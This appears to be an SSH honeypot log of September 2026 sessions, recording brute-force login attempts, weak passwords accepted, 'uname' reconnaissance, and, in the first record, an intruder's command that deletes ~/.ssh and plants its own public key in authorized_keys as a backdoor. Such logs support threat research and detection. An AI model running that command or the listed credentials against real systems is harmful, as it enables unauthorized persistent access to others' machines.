Credential acceptance event recorded. Target authentication: root / 1q2w3e$r
Remote entity achieved interactive shell state. Command sequence (2 executed):
{
"id": "25d13f95536f",
"src_ip": "203.167.15.64",
"start_time": "2026-09-29T02:01:18.062648Z",
"end_time": "2026-09-29T02:01:26.054489Z",
"duration": "8.0",
"version": "SSH-2.0-libssh_0.9.6",
"hassh": "f555226df1963d1d3c09daf865abdc9a",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "1q2w3e$r"
},
"commands": [
"cd ~; chattr -ia .ssh; lockr -ia .ssh",
"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
],
"detailed_commands": [
{
"cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
"failed": true,
"error": "Command not found: lockr -ia .ssh"
},
{
"cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
"failed": false,
"error": null
}
],
"failed_commands": [
"lockr -ia .ssh"
],
"score": 80,
"tags": [
"COMMANDS RUN",
"SUCCESSFUL LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: user1
{
"id": "8a8486e15ed5",
"src_ip": "109.160.32.113",
"start_time": "2026-09-29T02:01:17.873339Z",
"end_time": "2026-09-29T02:01:19.949624Z",
"duration": "2.1",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "user1",
"pass": "password123456789"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Credential acceptance event recorded. Target authentication: ftpuser / 123456
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "04d1fb0e0fcb",
"src_ip": "109.160.32.113",
"start_time": "2026-09-29T02:01:12.415436Z",
"end_time": "2026-09-29T02:01:13.649416Z",
"duration": "1.2",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "ftpuser",
"pass": "123456"
},
"commands": [
"uname -s -v -n -r -m"
],
"detailed_commands": [
{
"cmd": "uname -s -v -n -r -m",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 100,
"tags": [
"COMMANDS RUN",
"RECONNAISSANCE",
"SUCCESSFUL LOGIN"
]
}Credential acceptance event recorded. Target authentication: root / 1234567890
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "6e85c420f5a7",
"src_ip": "109.160.32.113",
"start_time": "2026-09-29T02:01:07.196637Z",
"end_time": "2026-09-29T02:01:08.939015Z",
"duration": "1.7",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "1234567890"
},
"commands": [
"uname -s -v -n -r -m"
],
"detailed_commands": [
{
"cmd": "uname -s -v -n -r -m",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 100,
"tags": [
"COMMANDS RUN",
"RECONNAISSANCE",
"SUCCESSFUL LOGIN"
]
}Credential acceptance event recorded. Target authentication: git / dev
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "a37fd6d8dfe5",
"src_ip": "109.160.32.113",
"start_time": "2026-09-29T02:01:01.948264Z",
"end_time": "2026-09-29T02:01:03.296470Z",
"duration": "1.3",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "git",
"pass": "dev"
},
"commands": [
"uname -s -v -n -r -m"
],
"detailed_commands": [
{
"cmd": "uname -s -v -n -r -m",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 100,
"tags": [
"COMMANDS RUN",
"RECONNAISSANCE",
"SUCCESSFUL LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: lx
{
"id": "5f6a161d56e3",
"src_ip": "109.160.32.113",
"start_time": "2026-09-29T02:00:56.876141Z",
"end_time": "2026-09-29T02:00:59.054062Z",
"duration": "2.2",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "lx",
"pass": "1qaz@WSX"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Credential acceptance event recorded. Target authentication: root / zaq12wsxcde3
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "a15d57dc07ce",
"src_ip": "109.160.32.113",
"start_time": "2026-09-29T02:00:51.692168Z",
"end_time": "2026-09-29T02:00:52.985520Z",
"duration": "1.3",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "zaq12wsxcde3"
},
"commands": [
"uname -s -v -n -r -m"
],
"detailed_commands": [
{
"cmd": "uname -s -v -n -r -m",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 100,
"tags": [
"COMMANDS RUN",
"RECONNAISSANCE",
"SUCCESSFUL LOGIN"
]
}Credential acceptance event recorded. Target authentication: root / mo2passe
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "3a50529e836a",
"src_ip": "109.160.32.113",
"start_time": "2026-09-29T02:00:46.265202Z",
"end_time": "2026-09-29T02:00:48.054666Z",
"duration": "1.8",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "mo2passe"
},
"commands": [
"uname -s -v -n -r -m"
],
"detailed_commands": [
{
"cmd": "uname -s -v -n -r -m",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 100,
"tags": [
"COMMANDS RUN",
"RECONNAISSANCE",
"SUCCESSFUL LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: a
{
"id": "a4d4eb420407",
"src_ip": "109.160.32.113",
"start_time": "2026-09-29T02:00:41.262109Z",
"end_time": "2026-09-29T02:00:43.389620Z",
"duration": "2.1",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "a",
"pass": "abc"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: testuser
{
"id": "65281208b6ad",
"src_ip": "109.160.32.113",
"start_time": "2026-09-29T02:00:36.228848Z",
"end_time": "2026-09-29T02:00:38.624465Z",
"duration": "2.4",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "testuser",
"pass": "1q2w3e4r!"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: njupt080
{
"id": "3dc2f3802531",
"src_ip": "109.160.32.113",
"start_time": "2026-09-29T02:00:31.187787Z",
"end_time": "2026-09-29T02:00:33.113974Z",
"duration": "1.9",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "njupt080",
"pass": "njupt080123456"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Credential acceptance event recorded. Target authentication: root / bookworm
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "295c53303f63",
"src_ip": "109.160.32.113",
"start_time": "2026-09-29T02:00:25.688794Z",
"end_time": "2026-09-29T02:00:27.375880Z",
"duration": "1.7",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "bookworm"
},
"commands": [
"uname -s -v -n -r -m"
],
"detailed_commands": [
{
"cmd": "uname -s -v -n -r -m",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 100,
"tags": [
"COMMANDS RUN",
"RECONNAISSANCE",
"SUCCESSFUL LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: nonproductions
{
"id": "6a3977714501",
"src_ip": "160.153.186.46",
"start_time": "2026-09-29T02:00:20.979782Z",
"end_time": "2026-09-29T02:00:22.502414Z",
"duration": "1.5",
"version": "SSH-2.0-Go",
"hassh": "1d1621d4b4020aa4fdba5b47ddef8678",
"attempts": [
{
"user": "nonproductions",
"pass": "Nonproductions123"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Autonomous probing activity normalized. Remote entity established connection but deferred authentication.
{
"id": "9fbd4ae2e17d",
"src_ip": "160.153.186.46",
"start_time": "2026-09-29T02:00:20.874577Z",
"end_time": "2026-09-29T02:00:20.925761Z",
"duration": "0.0",
"version": null,
"hassh": null,
"attempts": [],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": []
}Credential acceptance event recorded. Target authentication: root / win@2020
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "98c068aa907d",
"src_ip": "109.160.32.113",
"start_time": "2026-09-29T02:00:20.194825Z",
"end_time": "2026-09-29T02:00:21.849106Z",
"duration": "1.7",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "win@2020"
},
"commands": [
"uname -s -v -n -r -m"
],
"detailed_commands": [
{
"cmd": "uname -s -v -n -r -m",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 100,
"tags": [
"COMMANDS RUN",
"RECONNAISSANCE",
"SUCCESSFUL LOGIN"
]
}Credential acceptance event recorded. Target authentication: root / qwerty777
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "b5b09c3de092",
"src_ip": "109.160.32.113",
"start_time": "2026-09-29T02:00:14.962412Z",
"end_time": "2026-09-29T02:00:16.325917Z",
"duration": "1.4",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "qwerty777"
},
"commands": [
"uname -s -v -n -r -m"
],
"detailed_commands": [
{
"cmd": "uname -s -v -n -r -m",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 100,
"tags": [
"COMMANDS RUN",
"RECONNAISSANCE",
"SUCCESSFUL LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: kevin
{
"id": "c5b8f6b534b1",
"src_ip": "109.160.32.113",
"start_time": "2026-09-29T02:00:09.661856Z",
"end_time": "2026-09-29T02:00:11.798856Z",
"duration": "2.1",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "kevin",
"pass": "kevin"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: aaa
{
"id": "e090fada7914",
"src_ip": "109.160.32.113",
"start_time": "2026-09-29T02:00:04.391091Z",
"end_time": "2026-09-29T02:00:06.545548Z",
"duration": "2.2",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "aaa",
"pass": "123456"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Autonomous probing activity normalized. Remote entity established connection but deferred authentication.
{
"id": "2fdd75542a83",
"src_ip": "117.50.122.20",
"start_time": "2026-09-29T02:00:01.965018Z",
"end_time": "2026-09-29T02:02:01.968704Z",
"duration": "120.0",
"version": null,
"hassh": null,
"attempts": [],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 10,
"tags": []
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: file
{
"id": "010bbb880de2",
"src_ip": "109.160.32.113",
"start_time": "2026-09-29T01:59:59.336677Z",
"end_time": "2026-09-29T02:00:01.449879Z",
"duration": "2.1",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "file",
"pass": "file"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Credential acceptance event recorded. Target authentication: root / 123456@qq
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "23f0985aab51",
"src_ip": "109.160.32.113",
"start_time": "2026-09-29T01:59:54.016562Z",
"end_time": "2026-09-29T01:59:55.456975Z",
"duration": "1.4",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "123456@qq"
},
"commands": [
"uname -s -v -n -r -m"
],
"detailed_commands": [
{
"cmd": "uname -s -v -n -r -m",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 100,
"tags": [
"COMMANDS RUN",
"RECONNAISSANCE",
"SUCCESSFUL LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: pratik
{
"id": "6102a27418de",
"src_ip": "109.160.32.113",
"start_time": "2026-09-29T01:59:48.619628Z",
"end_time": "2026-09-29T01:59:50.855849Z",
"duration": "2.2",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "pratik",
"pass": "pratik"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: ftpadmin
{
"id": "02845741a68e",
"src_ip": "195.178.110.26",
"start_time": "2026-09-29T01:59:44.522596Z",
"end_time": "2026-09-29T01:59:46.275475Z",
"duration": "1.8",
"version": "SSH-2.0-Go",
"hassh": "16443846184eafde36765c9bab2f4397",
"attempts": [
{
"user": "ftpadmin",
"pass": "12345678"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: elastic
{
"id": "a398de5fa275",
"src_ip": "109.160.32.113",
"start_time": "2026-09-29T01:59:43.477762Z",
"end_time": "2026-09-29T01:59:45.450283Z",
"duration": "2.0",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "elastic",
"pass": "elastic"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Credential acceptance event recorded. Target authentication: root / Welcome@123
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "d2190b2c35aa",
"src_ip": "109.160.32.113",
"start_time": "2026-09-29T01:59:37.862828Z",
"end_time": "2026-09-29T01:59:39.602576Z",
"duration": "1.7",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "Welcome@123"
},
"commands": [
"uname -s -v -n -r -m"
],
"detailed_commands": [
{
"cmd": "uname -s -v -n -r -m",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 100,
"tags": [
"COMMANDS RUN",
"RECONNAISSANCE",
"SUCCESSFUL LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: tirex
{
"id": "21e4352013e5",
"src_ip": "109.160.32.113",
"start_time": "2026-09-29T01:59:31.984393Z",
"end_time": "2026-09-29T01:59:34.219597Z",
"duration": "2.2",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "tirex",
"pass": "tirex"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: clawdbot
{
"id": "5c073326f979",
"src_ip": "109.160.32.113",
"start_time": "2026-09-29T01:59:26.379216Z",
"end_time": "2026-09-29T01:59:28.440300Z",
"duration": "2.1",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "clawdbot",
"pass": "clawdbot"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: ghost
{
"id": "dfaa06fa476e",
"src_ip": "109.160.32.113",
"start_time": "2026-09-29T01:59:21.402538Z",
"end_time": "2026-09-29T01:59:23.597349Z",
"duration": "2.2",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "ghost",
"pass": "ghost"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: nonproductions
{
"id": "25155b2187b0",
"src_ip": "160.191.89.83",
"start_time": "2026-09-29T01:59:17.885266Z",
"end_time": "2026-09-29T01:59:32.760519Z",
"duration": "14.9",
"version": "SSH-2.0-Go",
"hassh": "1d1621d4b4020aa4fdba5b47ddef8678",
"attempts": [
{
"user": "nonproductions",
"pass": "password"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: zabbix
{
"id": "89c055424920",
"src_ip": "109.160.32.113",
"start_time": "2026-09-29T01:59:16.005947Z",
"end_time": "2026-09-29T01:59:18.732856Z",
"duration": "2.7",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "zabbix",
"pass": "zabbix"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: nonproductions
{
"id": "ff7aca46e079",
"src_ip": "69.57.172.119",
"start_time": "2026-09-29T01:59:15.456928Z",
"end_time": "2026-09-29T01:59:18.200471Z",
"duration": "2.7",
"version": "SSH-2.0-Go",
"hassh": "1d1621d4b4020aa4fdba5b47ddef8678",
"attempts": [
{
"user": "nonproductions",
"pass": "Nonproductions123#"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Autonomous probing activity normalized. Remote entity established connection but deferred authentication.
{
"id": "8f8b3079fe99",
"src_ip": "160.191.89.83",
"start_time": "2026-09-29T01:59:15.186965Z",
"end_time": "2026-09-29T01:59:17.680061Z",
"duration": "2.5",
"version": null,
"hassh": null,
"attempts": [],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": []
}Autonomous probing activity normalized. Remote entity established connection but deferred authentication.
{
"id": "294953a5f8ff",
"src_ip": "69.57.172.119",
"start_time": "2026-09-29T01:59:14.560961Z",
"end_time": "2026-09-29T01:59:15.204925Z",
"duration": "0.6",
"version": null,
"hassh": null,
"attempts": [],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": []
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: gix
{
"id": "c207e4377616",
"src_ip": "109.160.32.113",
"start_time": "2026-09-29T01:59:11.025105Z",
"end_time": "2026-09-29T01:59:13.056587Z",
"duration": "2.0",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "gix",
"pass": "gix"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: claude
{
"id": "a8e5df41d409",
"src_ip": "109.160.32.113",
"start_time": "2026-09-29T01:59:05.859190Z",
"end_time": "2026-09-29T01:59:07.894652Z",
"duration": "2.0",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "claude",
"pass": "claude"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Credential acceptance event recorded. Target authentication: root / 2004
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "0595fcd9a567",
"src_ip": "109.160.32.113",
"start_time": "2026-09-29T01:59:00.149983Z",
"end_time": "2026-09-29T01:59:01.990465Z",
"duration": "1.8",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "2004"
},
"commands": [
"uname -s -v -n -r -m"
],
"detailed_commands": [
{
"cmd": "uname -s -v -n -r -m",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 100,
"tags": [
"COMMANDS RUN",
"RECONNAISSANCE",
"SUCCESSFUL LOGIN"
]
}Credential acceptance event recorded. Target authentication: ftpuser / ftpuser
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "4375d1089790",
"src_ip": "109.160.32.113",
"start_time": "2026-09-29T01:58:55.248069Z",
"end_time": "2026-09-29T01:58:56.743922Z",
"duration": "1.5",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "ftpuser",
"pass": "ftpuser"
},
"commands": [
"uname -s -v -n -r -m"
],
"detailed_commands": [
{
"cmd": "uname -s -v -n -r -m",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 100,
"tags": [
"COMMANDS RUN",
"RECONNAISSANCE",
"SUCCESSFUL LOGIN"
]
}Credential acceptance event recorded. Target authentication: postgres / 123
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "c5650768cd8f",
"src_ip": "109.160.32.113",
"start_time": "2026-09-29T01:58:49.812223Z",
"end_time": "2026-09-29T01:58:51.145702Z",
"duration": "1.3",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "postgres",
"pass": "123"
},
"commands": [
"uname -s -v -n -r -m"
],
"detailed_commands": [
{
"cmd": "uname -s -v -n -r -m",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 100,
"tags": [
"COMMANDS RUN",
"RECONNAISSANCE",
"SUCCESSFUL LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: gy
{
"id": "ccf19894de18",
"src_ip": "109.160.32.113",
"start_time": "2026-09-29T01:58:44.708940Z",
"end_time": "2026-09-29T01:58:46.972655Z",
"duration": "2.3",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "gy",
"pass": "gy"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Credential acceptance event recorded. Target authentication: ubuntu / P@ssw0rd
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "3f12a43a2bc4",
"src_ip": "109.160.32.113",
"start_time": "2026-09-29T01:58:39.423524Z",
"end_time": "2026-09-29T01:58:40.950717Z",
"duration": "1.5",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "ubuntu",
"pass": "P@ssw0rd"
},
"commands": [
"uname -s -v -n -r -m"
],
"detailed_commands": [
{
"cmd": "uname -s -v -n -r -m",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 100,
"tags": [
"COMMANDS RUN",
"RECONNAISSANCE",
"SUCCESSFUL LOGIN"
]
}Credential acceptance event recorded. Target authentication: root / 18273645
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "edfa398fd2d1",
"src_ip": "109.160.32.113",
"start_time": "2026-09-29T01:58:34.194399Z",
"end_time": "2026-09-29T01:58:35.700666Z",
"duration": "1.5",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "18273645"
},
"commands": [
"uname -s -v -n -r -m"
],
"detailed_commands": [
{
"cmd": "uname -s -v -n -r -m",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 100,
"tags": [
"COMMANDS RUN",
"RECONNAISSANCE",
"SUCCESSFUL LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: rdpuser
{
"id": "97b614d91ba1",
"src_ip": "109.160.32.113",
"start_time": "2026-09-29T01:58:29.108860Z",
"end_time": "2026-09-29T01:58:31.404450Z",
"duration": "2.3",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "rdpuser",
"pass": "123"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: user17
{
"id": "c51d33c986ad",
"src_ip": "109.160.32.113",
"start_time": "2026-09-29T01:58:23.764732Z",
"end_time": "2026-09-29T01:58:25.920541Z",
"duration": "2.2",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "user17",
"pass": "user17"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Credential acceptance event recorded. Target authentication: root / encore
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "28b542e3737e",
"src_ip": "109.160.32.113",
"start_time": "2026-09-29T01:58:18.597745Z",
"end_time": "2026-09-29T01:58:20.272310Z",
"duration": "1.7",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "encore"
},
"commands": [
"uname -s -v -n -r -m"
],
"detailed_commands": [
{
"cmd": "uname -s -v -n -r -m",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 100,
"tags": [
"COMMANDS RUN",
"RECONNAISSANCE",
"SUCCESSFUL LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: alex
{
"id": "6b9b86ee9e2b",
"src_ip": "109.160.32.113",
"start_time": "2026-09-29T01:58:13.172008Z",
"end_time": "2026-09-29T01:58:15.447580Z",
"duration": "2.3",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "alex",
"pass": "alex"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
